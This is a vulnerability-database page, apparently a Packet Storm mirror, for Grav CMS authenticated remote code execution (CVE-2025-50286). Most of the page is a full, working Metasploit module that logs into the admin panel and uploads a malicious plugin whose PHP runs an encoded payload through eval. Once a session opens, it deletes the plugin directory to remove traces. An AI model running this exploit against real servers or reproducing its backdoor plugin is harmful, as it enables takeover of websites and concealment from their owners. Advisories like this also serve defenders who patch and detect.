Lucene search
K

๐Ÿ“„ Grav CMS 1.7.49.5 Remote Code Execution

๐Ÿ—“๏ธย 31 Mar 2026ย 00:00:00Reported byย x1o3, binnekoTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 135ย Views

Grav CMS versions 1.7.49.5 and earlier allow authenticated remote code execution via Direct Install.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-50286
6 Aug 202500:00
โ€“attackerkb
Circl
CVE-2025-50286
6 Aug 202517:50
โ€“circl
CNNVD
Grav CMS ๅฎ‰ๅ…จๆผๆดž
6 Aug 202500:00
โ€“cnnvd
CNVD
Grav CMS Remote Code Execution Vulnerability
18 Aug 202500:00
โ€“cnvd
CVE
CVE-2025-50286
6 Aug 202500:00
โ€“cve
Cvelist
CVE-2025-50286
6 Aug 202500:00
โ€“cvelist
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Getgrav Grav
28 Feb 202617:39
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-50286
5 Aug 202501:46
โ€“githubexploit
Exploit DB
Grav CMS 1.7.48 - Remote Code Execution (RCE)
11 Aug 202500:00
โ€“exploitdb
EUVD
EUVD-2025-23842
3 Oct 202520:07
โ€“euvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Grav CMS Admin Direct Install Authenticated Plugin Upload RCE',
            'Description' => %q{
              Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is
              vulnerable to authenticated remote code execution via the
              "Direct Install" feature in the administrative interface.
    
              An authenticated administrator can upload a crafted plugin
              archive containing arbitrary PHP code. The uploaded plugin
              is written to disk and executed by the application, allowing
              command execution in the context of the web server user.
    
              This module authenticates to the admin panel, uploads a
              malicious plugin via /admin/tools/direct-install, and
              triggers execution of the embedded payload.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'binneko',      # Original PoC / EDB
              'x1o3'          # Metasploit module
            ],
            'References' => [
              ['CVE', '2025-50286'],
              ['EDB', '52402'],
              ['URL', 'https://github.com/getgrav/grav'],
            ],
            'DisclosureDate' => '2025-08-07',
            'Privileged' => false,
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              [
                'PHP Payload',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base Path', '/']),
            OptString.new('USERNAME', [true, 'Admin username']),
            OptString.new('PASSWORD', [true, 'Admin password']),
          ]
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return CheckCode::Unknown('Connection failed') unless res
        return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200
    
        html = res.get_html_document
        return CheckCode::Unknown('Could not parse HTML') unless html
    
        return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
        return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)
    
        cms_version, admin_version = get_version_after_login
        return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version
        return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version
    
        version = Rex::Version.new(cms_version)
        if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0')
          vuln = true
        end
    
        if admin_version
          plugin_version = Rex::Version.new(admin_version)
          if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln
            return CheckCode::Appears("\n    - Grav CMS #{version} is vulnerable\n    - Admin Plugin v#{plugin_version} is vulnerable")
          end
        end
    
        return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln
    
        CheckCode::Safe("Admin Plugin v#{plugin_version} is not vulnerable")
      end
    
      def exploit
        print_status('Authenticating to Grav admin...')
        login
    
        plugin_name = (Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(17)).downcase
        @name = plugin_name
        zip_data = build_plugin_zip(plugin_name)
    
        print_status('Uploading plugin via Direct Install...')
        upload_plugin(zip_data, plugin_name)
      end
    
      def grav_installation?(html)
        grav_checks = [
          html.at('//*[@data-gpm-grav]'),
          html.at('//*[@data-grav-field]'),
          html.at('//*[@data-grav-disabled]'),
          html.at('//*[@data-grav-default]')
        ]
    
        grav_checks.count { |elem| !elem.nil? } >= 2
      end
    
      def login_form_present?(html)
        username_input = html.at('input[@name="data[username]"]')
        password_input = html.at('input[@name="data[password]"]')
    
        username_input && password_input
      end
    
      def get_version_after_login
        result = authenticate
        return nil unless result == :success || result == :already_authenticated
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return nil unless res && res.code == 200
    
        html = res.get_html_document
        return nil unless html
    
        cms_elem = html.at('span.grav-version')
        cms_version = cms_elem.text.strip
        parent_text = cms_elem.parent.text.gsub(/\s+/, ' ')
        admin_version = parent_text[/Admin v([\d.]+)/, 1]
        return nil unless cms_version
    
        [cms_version, admin_version]
      end
    
      def authenticate
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return :connection_failed unless res
    
        html = res.get_html_document
        return :connection_failed unless html
    
        nonce = html.at('input[@name="login-nonce"]/@value')
        return :already_authenticated if nonce.nil? && html.at('span.grav-version')
        return :connection_failed unless nonce
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true,
          'vars_post' => {
            'data[username]' => datastore['USERNAME'],
            'data[password]' => datastore['PASSWORD'],
            'task' => 'login',
            'login-nonce' => nonce.text
          }
        )
    
        return :connection_failed unless res
    
        if [302, 303].include?(res.code)
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'admin'),
            'keep_cookies' => true
          )
          return :connection_failed unless res
        end
    
        return :login_failed if res.body.include?('name="login-nonce"')
    
        :success
      end
    
      def login
        print_status('Authenticating...')
        result = authenticate
        case result
        when :already_authenticated
          print_good('Already authenticated')
        when :success
          print_good('Login successful')
        when :connection_failed
          fail_with(Failure::Unreachable, 'Connection failed')
        when :login_failed
          fail_with(Failure::NoAccess, 'Login failed')
        else
          fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
        end
      end
    
      def build_plugin_zip(plugin_name)
        php_code = generate_php_plugin(plugin_name)
    
        zip = Rex::Zip::Archive.new
        zip.add_file("#{plugin_name}plugin/", '')
        zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.php", php_code)
        zip.add_file("#{plugin_name}plugin/blueprints.yaml",
                     "name: #{plugin_name.capitalize}\ntype: plugin\nversion: 1.0.0\ndescription: Cute plugin\nform:\n fields: []")
        zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.yaml",
                     "enabled: true\ntext_var: Text by **#{plugin_name.capitalize} Plugin** plugin")
        zip.pack
      end
    
      def generate_php_plugin(plugin_name)
        b64_payload = Rex::Text.encode_base64(payload.encoded)
        class_name = "#{plugin_name.capitalize}pluginPlugin"
        Rex::Text.rand_text_alpha(8)
    
        <<~PHP
          <?php
          namespace Grav\\Plugin;
          use Grav\\Common\\Plugin;
    
          class #{class_name} extends Plugin
          {
              public static function getSubscribedEvents()
              {
                  return [
                      'onPagesInitialized' => ['onPagesInitialized', 0]
                  ];
              }
    
              public function onPagesInitialized()
              {
                  @eval(base64_decode('#{b64_payload}'));
              }
          }
        PHP
      end
    
      def build_multipart_body(nonce, zip_data, plugin_name)
        mime = Rex::MIME::Message.new
        mime.add_part('directInstall', nil, nil, 'form-data; name="task"')
        mime.add_part(nonce, nil, nil, 'form-data; name="admin-nonce"')
        mime.add_part(
          zip_data,
          'application/zip',
          'binary',
          "form-data; name=\"uploaded_file\"; filename=\"#{plugin_name}.zip\""
        )
        mime
      end
    
      def upload_plugin(zip_data, plugin_name)
        install_uri = normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')
    
        res = send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
        fail_with(Failure::Unreachable, 'No response fetching install page') unless res
        fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    
        nonce = res.body.match(/name="admin-nonce"\s+value="([^"]+)"/)&.captures&.first
        fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce
    
        mime = build_multipart_body(nonce, zip_data, plugin_name)
    
        res2 = send_request_cgi(
          'method' => 'POST',
          'uri' => install_uri,
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
        fail_with(Failure::Unreachable, 'No response during plugin upload') unless res2
    
        if [301, 302, 303].include?(res2.code)
          vprint_status("Upload redirected (#{res2.code}), following...")
          send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
        end
      end
    
      def on_new_session(session)
        return unless session.type == 'meterpreter'
    
        super
        plugin_dir = "user/plugins/#{@name}plugin"
        print_status("Cleaning up plugin directory: #{plugin_dir}")
        session.sys.process.execute("rm -rf #{plugin_dir}")
        print_good('Plugin directory removed')
      end
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.18.1
EPSS0.73126
SSVC
135